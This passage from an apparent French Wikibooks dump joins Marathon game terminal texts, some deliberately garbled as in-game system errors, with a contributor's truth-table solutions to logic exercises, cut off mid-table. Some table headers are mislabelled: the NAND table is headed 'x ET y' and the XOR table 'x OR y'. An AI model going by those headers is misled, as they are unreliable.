meurtrier. Il avait tué son adversaire. Le rat baignait mort dans ses mains sanglantes. Enfin, il attrapa la gorge de son batteur. Il s'évada dans les ondes. Les ondes. <nowiki>***FIN DE MESSAGE***</nowiki> <Message suivant><br /> <Réponse inconnue> }} {{Terminal Marathon 4||Terminal accès public 95-w<39.59.19.21>}} === Terminal 4 === {{Terminal Marathon 1||Terminal accès public 95-f<95.93.193.32>}} {{Terminal Marathon 2| ''ATTENTION: SYSTEME D'EXPLOITATION (AF44+2DEB) DATE DE MODIF POSTERIEURE A LA DATE COURANTE'' ff~~x~f~sx~~<br /> %%%il n'y a rien à gagner des hésitations actuelles%&^)}:>?<nowiki>~~~~~~~</nowiki>fxf<nowiki>~~~~~~~~~~</nowiki>f<nowiki>~~~~</nowiki><br /> en leur possession devrait devenir quelque chose en conséquence: comme il n'était rien d'autre qu'un-e fleur d'ho~~``f`<nowiki>~~~</nowiki>rticulture, ou plus précis~.<br /> ~~lors elle avait pour que la pièce bouge: <nowiki>~~~</nowiki>ffs`<nowiki>~~~~</nowiki>f<nowiki>~~~</nowiki>''[erreur système#25 à _Jackson]''<nowiki>~~~~</nowiki>`vec qui elle parlait d'être brûlé par un feu dangereux. les portes s'ouvrirent devant elle sans raison, leurs serrures lachant#~#[>ff<br /> fxf<nowiki>~~~~~</nowiki><br /> ~~avant qu'elle voie ses mais danser devant son visage horrifié. r~~vant de devenir de la poussière fine qui formait un tas sur <nowiki>~~~~</nowiki>4*)<br /> où elle se tenait.'''<'scod BFB1 0002'+1Ad2>'''<br /> 14 sept kilomètres plus loin, yeux en feu, pleurant sur ses cheveux. La folie la rendant inconsciente, elle se transforma en furie-#&fx<nowiki>~~~</nowiki>gBd{}{@fx($<nowiki>~~~~</nowiki><br /> <nowiki>!#%8\</nowiki><br /> <nowiki>~fxf~~~~</nowiki>fx<br /> 34 }} {{Terminal Marathon 4||Terminal accès public 95-f<95.93.193.32>}} === Terminal 5 (Unfinished) === {{Terminal Marathon 1||AMS Terminal 39-f<33.2.7.885>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Vous devez trouver les trois circuits de réparation. Vous ne devez pas aller au Centre de Défense sans les avoir tous les trois. Cherchez jusqu'à les trouver. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||AMS Terminal 39-f<33.2.7.885>}} === Terminal 5 (Success) === {{Terminal Marathon 1||AMS Terminal 39-f<33.2.7.885>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Bon boulot. J'ai eu les rapports de certains hommes des forces de sécurité. Ils convergent sur le fait que les aliens sont concentrés à l'arrière de la Section des Machines. On peut penser qu'ils vont essayer de couper les réacteurs de Marathon. Votre prochaine mission est de réactiver les défenses automatiques. Je vous donnerai les informations précises à votre arrivée. Téléportation dès que prêt. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||AMS Terminal 39-f<33.2.7.885>}} <center>                          • [[Marathon - Marathon 1 - Counterattack|Counterattack >]]</center> AL SE Logique 3743 15226 2005-05-29T12:10:23Z Jim2k 289 Traduction de l'article anglais ==[[AL Logique|Logique]]== <blockquote style="padding: 1em; border: 2px dotted purple;"> Ces solutions n'ont pas été écrites par l'auteur du reste du livre. Elles sont simplement les réponses que je pense correctes pendant ma résolution des exercises. J'espère que ces réponses seront très utiles et que les personnes corrigeront mon travail si j'ai fait des fautes. </blockquote> ===Exercices de composition des tables de vérité=== 1. NAND : x NAND y = NON (x ET y) :<table border="1" cellpadding="3"> <tr><th colspan="3">La fonction NAND</th></tr> <tr> <th>x</th> <th>y</th> <th>x ET y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> </tr> </table> 2. NOR : x NOR y = NON (x OU y) :<table border="1" cellpadding="3"> <tr><th colspan="3">La fonction NOR</th></tr> <tr> <th>x</th> <th>y</th> <th>x OU y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> </tr> </table> 3. XOR : x XOR y est vrai si et SEULEMENT si soit x ou y est vrai. <table border="1" cellpadding="3"> <tr><th colspan="3">La fonction XOR</th></tr> <tr> <th>x</th> <th>y</th> <th>x OR y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> </tr> </table> Produire les tables de vérités pour : 1. xyz :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> xyz</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> </table> 2. x'y'z' :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x'y'z'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> 3. xyz + xy'z :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> xyz + xy'z</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> </table> 4. xz :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> xz</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> </table> 5. (x + y)' :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> (x + y)'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> 6. x'y' :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x'y'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> 7. (xy)' :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> (xy)'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> 8. x' + y' :<table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x' + y'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; 